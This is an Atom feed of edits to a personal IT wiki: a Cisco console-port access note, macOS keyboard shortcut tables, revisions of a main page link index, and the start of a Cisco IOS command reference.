https://wiki.luccapirovano.com/api.php?action=feedcontributions&feedformat=atom&user=50.220.241.211
Lucca's Wiki - User contributions [en]
2026-09-25T04:54:58Z
User contributions
MediaWiki 1.43.3
https://wiki.luccapirovano.com/index.php?title=Console_Port_Access&diff=1235
Console Port Access
2026-09-02T18:40:33Z
<p>50.220.241.211: </p>
<hr />
<div>This is the command you would use on linux to access a cisco device's console port. This would usually be through a RS232 to USB adapter. <br />
screen /dev/ttyUSB0 9600<br />
*You might need root or dialout permissons.<br />
<br />
Even though the console port on a cisco switch might be RJ45 like ethernet, its just RS232 serial with a different connector, hence why you need the adapter. <br />
<br />
On Windows you would probably want to use something like PuTTY.</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=OSX_Keyboard_Shortcuts&diff=1217
OSX Keyboard Shortcuts
2026-04-08T21:49:58Z
<p>50.220.241.211: </p>
<hr />
<div>= macOS Keyboard Shortcuts =<br />
<br />
[[File:MacOS_Keyboard.png|thumb|center|600px|Example Mac keyboard layout and modifier keys]]<br />
<br />
== General Shortcuts ==<br />
{| class="wikitable"<br />
! Shortcut !! Action<br />
|-<br />
| ⌘ C || Copy<br />
|-<br />
| ⌘ X || Cut<br />
|-<br />
| ⌘ V || Paste<br />
|-<br />
| ⌘ Z || Undo<br />
|-<br />
| ⇧ ⌘ Z || Redo<br />
|-<br />
| ⌘ A || Select all<br />
|-<br />
| ⌘ F || Find<br />
|-<br />
| ⌘ H || Hide app<br />
|-<br />
| ⌘ Q || Quit app<br />
|-<br />
| ⌘ W || Close window<br />
|-<br />
| ⌘ M || Minimize window<br />
|}<br />
<br />
== Finder ==<br />
{| class="wikitable"<br />
! Shortcut !! Action<br />
|-<br />
| ⌘ N || New Finder window<br />
|-<br />
| ⇧ ⌘ N || New folder<br />
|-<br />
| ⌘ I || Get info<br />
|-<br />
| ⌘ Delete || Move to Trash<br />
|-<br />
| ⇧ ⌘ Delete || Empty Trash<br />
|-<br />
| ⌘ D || Duplicate<br />
|-<br />
| ⌘ L || Make alias<br />
|-<br />
| ⌘ 1 || Icon view<br />
|-<br />
| ⌘ 2 || List view<br />
|-<br />
| ⌘ 3 || Column view<br />
|-<br />
| ⌘ 4 || Gallery view<br />
|}<br />
<br />
== Screenshots ==<br />
{| class="wikitable"<br />
! Shortcut !! Action<br />
|-<br />
| ⇧ ⌘ 3 || Full screen screenshot<br />
|-<br />
| ⇧ ⌘ 4 || Selection screenshot<br />
|-<br />
| ⇧ ⌘ 4 then Space || Window screenshot<br />
|-<br />
| ⇧ ⌘ 5 || Screenshot toolbar<br />
|}<br />
<br />
== System ==<br />
{| class="wikitable"<br />
! Shortcut !! Action<br />
|-<br />
| ⌘ ⌥ Esc || Force quit<br />
|-<br />
| ⌘ Space || Spotlight<br />
|-<br />
| Control ⌘ Q || Lock screen<br />
|-<br />
| ⌘ ⌥ Power || Sleep<br />
|-<br />
| ⇧ ⌘ Q || Log out<br />
|}<br />
<br />
== Text Editing ==<br />
{| class="wikitable"<br />
! Shortcut !! Action<br />
|-<br />
| ⌘ B || Bold<br />
|-<br />
| ⌘ I || Italic<br />
|-<br />
| ⌘ U || Underline<br />
|-<br />
| ⌥ Delete || Delete previous word<br />
|-<br />
| ⌘ Delete || Delete to start of line<br />
|-<br />
| ⌘ → || End of line<br />
|-<br />
| ⌘ ← || Start of line<br />
|}<br />
<br />
[[Category:macOS]]<br />
[[Category:Keyboard Shortcuts]]</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=OSX_Keyboard_Shortcuts&diff=1216
OSX Keyboard Shortcuts
2026-04-08T21:49:10Z
<p>50.220.241.211: Created page with "= macOS Keyboard Shortcuts = This page provides a comprehensive list of common and advanced keyboard shortcuts for macOS. These shortcuts can improve productivity and efficiency when using a Mac. Example Mac keyboard layout and common modifier keys == Modifier Keys == * '''Command (⌘)''' * '''Option (⌥)''' * '''Control (⌃)''' * '''Shift (⇧)''' * '''Caps Lock (⇪)''' --- == General Shortcuts == {| class="wikita..."</p>
<hr />
<div>= macOS Keyboard Shortcuts =<br />
<br />
This page provides a comprehensive list of common and advanced keyboard shortcuts for macOS. These shortcuts can improve productivity and efficiency when using a Mac.<br />
<br />
[[File:MacOS_Keyboard.png|thumb|center|600px|Example Mac keyboard layout and common modifier keys]]<br />
<br />
== Modifier Keys ==<br />
<br />
* '''Command (⌘)'''<br />
* '''Option (⌥)'''<br />
* '''Control (⌃)'''<br />
* '''Shift (⇧)'''<br />
* '''Caps Lock (⇪)'''<br />
<br />
---<br />
<br />
== General Shortcuts ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| -------------------- | - | -------------------- |<br />
| ⌘ + C | | Copy |<br />
| - | | |<br />
| ⌘ + X | | Cut |<br />
| - | | |<br />
| ⌘ + V | | Paste |<br />
| - | | |<br />
| ⌘ + Z | | Undo |<br />
| - | | |<br />
| ⇧ + ⌘ + Z | | Redo |<br />
| - | | |<br />
| ⌘ + A | | Select All |<br />
| - | | |<br />
| ⌘ + F | | Find |<br />
| - | | |<br />
| ⌘ + G | | Find Next |<br />
| - | | |<br />
| ⇧ + ⌘ + G | | Find Previous |<br />
| - | | |<br />
| ⌘ + H | | Hide current app |<br />
| - | | |<br />
| ⌥ + ⌘ + H | | Hide other apps |<br />
| - | | |<br />
| ⌘ + Q | | Quit app |<br />
| - | | |<br />
| ⌘ + W | | Close window/tab |<br />
| - | | |<br />
| ⌥ + ⌘ + W | | Close all windows |<br />
| - | | |<br />
| ⌘ + M | | Minimize window |<br />
| - | | |<br />
| ⌥ + ⌘ + M | | Minimize all windows |<br />
| - | | |<br />
| ⌘ + , | | Open preferences |<br />
| } | | |<br />
<br />
---<br />
<br />
== Finder Shortcuts ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| -------------------- | - | -------------------------------- |<br />
| ⌘ + N | | New Finder window |<br />
| - | | |<br />
| ⇧ + ⌘ + N | | New folder |<br />
| - | | |<br />
| ⌘ + I | | Get info |<br />
| - | | |<br />
| ⌘ + Delete | | Move to Trash |<br />
| - | | |<br />
| ⇧ + ⌘ + Delete | | Empty Trash |<br />
| - | | |<br />
| ⌥ + ⇧ + ⌘ + Delete | | Empty Trash without confirmation |<br />
| - | | |<br />
| ⌘ + D | | Duplicate file |<br />
| - | | |<br />
| ⌘ + L | | Make alias |<br />
| - | | |<br />
| ⌘ + R | | Show original file |<br />
| - | | |<br />
| ⌘ + T | | Show/hide tab bar |<br />
| - | | |<br />
| ⌘ + 1 | | Icon view |<br />
| - | | |<br />
| ⌘ + 2 | | List view |<br />
| - | | |<br />
| ⌘ + 3 | | Column view |<br />
| - | | |<br />
| ⌘ + 4 | | Gallery view |<br />
| } | | |<br />
<br />
---<br />
<br />
== System & Power ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| -------------------- | - | -------------------- |<br />
| ⌘ + ⌥ + Esc | | Force quit dialog |<br />
| - | | |<br />
| ⌘ + Space | | Spotlight search |<br />
| - | | |<br />
| Control + ⌘ + Q | | Lock screen |<br />
| - | | |<br />
| Control + Power | | Show shutdown dialog |<br />
| - | | |<br />
| ⌘ + ⌥ + Power | | Sleep |<br />
| - | | |<br />
| ⇧ + ⌘ + Q | | Log out |<br />
| - | | |<br />
| ⇧ + ⌥ + ⌘ + Q | | Log out immediately |<br />
| } | | |<br />
<br />
---<br />
<br />
== Screenshots ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| --------------------- | - | ----------------------------------- |<br />
| ⇧ + ⌘ + 3 | | Capture entire screen |<br />
| - | | |<br />
| ⇧ + ⌘ + 4 | | Capture selected portion |<br />
| - | | |<br />
| ⇧ + ⌘ + 4, then Space | | Capture window |<br />
| - | | |<br />
| ⇧ + ⌘ + 5 | | Screenshot toolbar |<br />
| - | | |<br />
| ⇧ + ⌘ + 6 | | Touch Bar screenshot (if available) |<br />
| } | | |<br />
<br />
---<br />
<br />
== Text Editing ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| -------------------- | - | --------------------------- |<br />
| ⌘ + B | | Bold |<br />
| - | | |<br />
| ⌘ + I | | Italic |<br />
| - | | |<br />
| ⌘ + U | | Underline |<br />
| - | | |<br />
| ⌥ + Delete | | Delete previous word |<br />
| - | | |<br />
| ⌘ + Delete | | Delete to beginning of line |<br />
| - | | |<br />
| ⌘ + → | | Move to end of line |<br />
| - | | |<br />
| ⌘ + ← | | Move to beginning of line |<br />
| - | | |<br />
| ⌥ + → | | Move one word right |<br />
| - | | |<br />
| ⌥ + ← | | Move one word left |<br />
| } | | |<br />
<br />
---<br />
<br />
== Safari & Browsers ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| -------------------- | - | ----------------- |<br />
| ⌘ + T | | New tab |<br />
| - | | |<br />
| ⌘ + W | | Close tab |<br />
| - | | |<br />
| ⌘ + L | | Focus address bar |<br />
| - | | |<br />
| ⌘ + R | | Reload page |<br />
| - | | |<br />
| ⇧ + ⌘ + R | | Hard reload |<br />
| - | | |<br />
| ⌘ + Y | | History |<br />
| - | | |<br />
| ⌘ + D | | Bookmark page |<br />
| } | | |<br />
<br />
---<br />
<br />
== Mission Control & Navigation ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| -------------------- | - | ---------------------- |<br />
| Control + ↑ | | Mission Control |<br />
| - | | |<br />
| Control + ↓ | | App Exposé |<br />
| - | | |<br />
| Control + → | | Next desktop space |<br />
| - | | |<br />
| Control + ← | | Previous desktop space |<br />
| - | | |<br />
| ⌘ + Tab | | Switch apps |<br />
| - | | |<br />
| ⇧ + ⌘ + Tab | | Reverse app switch |<br />
| } | | |<br />
<br />
---<br />
<br />
== Advanced & Lesser-Known Shortcuts ==<br />
{| class="wikitable"<br />
<br />
| ! Shortcut !! Action | | |<br />
| ----------------------------- | - | ------------------------- |<br />
| ⌥ + ⌘ + D | | Show/hide Dock |<br />
| - | | |<br />
| ⌥ + ⌘ + P + R | | Reset NVRAM (startup) |<br />
| - | | |<br />
| ⇧ (hold during boot) | | Safe Mode |<br />
| - | | |<br />
| D (hold during boot) | | Apple Diagnostics |<br />
| - | | |<br />
| ⌘ + L (Finder) | | Jump to selection |<br />
| - | | |<br />
| ⌥ + Click (volume/brightness) | | Open settings |<br />
| - | | |<br />
| ⌘ + Drag | | Move file instead of copy |<br />
| } | | |<br />
<br />
---<br />
<br />
== Notes ==<br />
<br />
* Some shortcuts may vary depending on macOS version.<br />
* Keyboard layouts may differ by region.<br />
* Users can customize shortcuts in '''System Settings → Keyboard → Keyboard Shortcuts'''.<br />
<br />
[[Category:macOS]]<br />
[[Category:Keyboard Shortcuts]]</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1215
Main Page
2026-04-08T21:49:05Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<br />
(use ctrl+shift+t to change theme settings)<br />
<br />
chrome://settings/content/all?search=cache+ (to delete / manage site data)<br />
<br />
<hr><br />
<br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]] | [[TLS Setting in Internet Options]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf (pdf)] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf (pdf)] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [https://www.exploit-db.com/ Exploit-DB] | [[Performing a SYN flood attack]] | [https://attack.mitre.org/matrices/enterprise/ Mitre Att&ck] | [https://en.wikipedia.org/wiki/Christmas_tree_packet Christmas Tree Packet]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]] | [[OSX Keyboard Shortcuts]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Networking/Cisco: | [[Cisco Commands]] | [[Cisco Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]] | [https://en.wikipedia.org/wiki/VLAN_hopping Wikipedia - Vlan Hopping] | [[Console Port Access]] | [[Anti-AI Scraper Tarpits]]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf (pdf)]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] | [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis] | [https://en.wikipedia.org/wiki/Anna's_Archive Anna's Archive]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr><br />
<br />
Tech & Vulnerability News: | [https://lwn.net/ LWN.net] | [https://news.ycombinator.com/ Hacker News] | [https://www.jwz.org/blog/ JWZ's Blog] | [https://drewdevault.com/ Drew Devault's Blog]</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1214
Main Page
2026-04-08T21:06:56Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<br />
(use ctrl+shift+t to change theme settings)<br />
<br />
chrome://settings/content/all?search=cache+ (to delete / manage site data)<br />
<br />
<hr><br />
<br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]] | [[TLS Setting in Internet Options]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf (pdf)] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf (pdf)] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [https://www.exploit-db.com/ Exploit-DB] | [[Performing a SYN flood attack]] | [https://attack.mitre.org/matrices/enterprise/ Mitre Att&ck] | [https://en.wikipedia.org/wiki/Christmas_tree_packet Christmas Tree Packet]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Networking/Cisco: | [[Cisco Commands]] | [[Cisco Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]] | [https://en.wikipedia.org/wiki/VLAN_hopping Wikipedia - Vlan Hopping] | [[Console Port Access]] | [[Anti-AI Scraper Tarpits]]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf (pdf)]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] | [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis] | [https://en.wikipedia.org/wiki/Anna's_Archive Anna's Archive]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr><br />
<br />
Tech & Vulnerability News: | [https://lwn.net/ LWN.net] | [https://news.ycombinator.com/ Hacker News] | [https://www.jwz.org/blog/ JWZ's Blog] | [https://drewdevault.com/ Drew Devault's Blog]</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Console_Port_Access&diff=1138
Console Port Access
2026-02-25T18:06:52Z
<p>50.220.241.211: Created page with "This is the command you would use on linux to access a cisco device's console port. This would usually be through a RS232 to USB adapter. screen /dev/ttyUSB0 9600 Even though the console port on a cisco switch might be RJ45 like ethernet, its just RS232 serial with a different connector, hence why you need the adapter. On Windows you would probably want to use something like PuTTY."</p>
<hr />
<div>This is the command you would use on linux to access a cisco device's console port. This would usually be through a RS232 to USB adapter. <br />
screen /dev/ttyUSB0 9600<br />
<br />
Even though the console port on a cisco switch might be RJ45 like ethernet, its just RS232 serial with a different connector, hence why you need the adapter. <br />
<br />
On Windows you would probably want to use something like PuTTY.</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1137
Main Page
2026-02-25T18:00:50Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]] | [[TLS Setting in Internet Options]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [https://www.exploit-db.com/ Exploit-DB] [[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]] | [https://en.wikipedia.org/wiki/VLAN_hopping Wikipedia - Vlan Hopping] | [[Console Port Access]]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1136
Main Page
2026-02-25T18:00:24Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]] | [[TLS Setting in Internet Options]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [https://www.exploit-db.com/ Exploit-DB] [[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]] | [https://en.wikipedia.org/wiki/VLAN_hopping Wikipedia - Vlan Hopping] | [[Accessing a real cisco device over the console port]]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1132
Cisco Commands
2026-02-24T19:55:27Z
<p>50.220.241.211: /* SSH Configuration */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
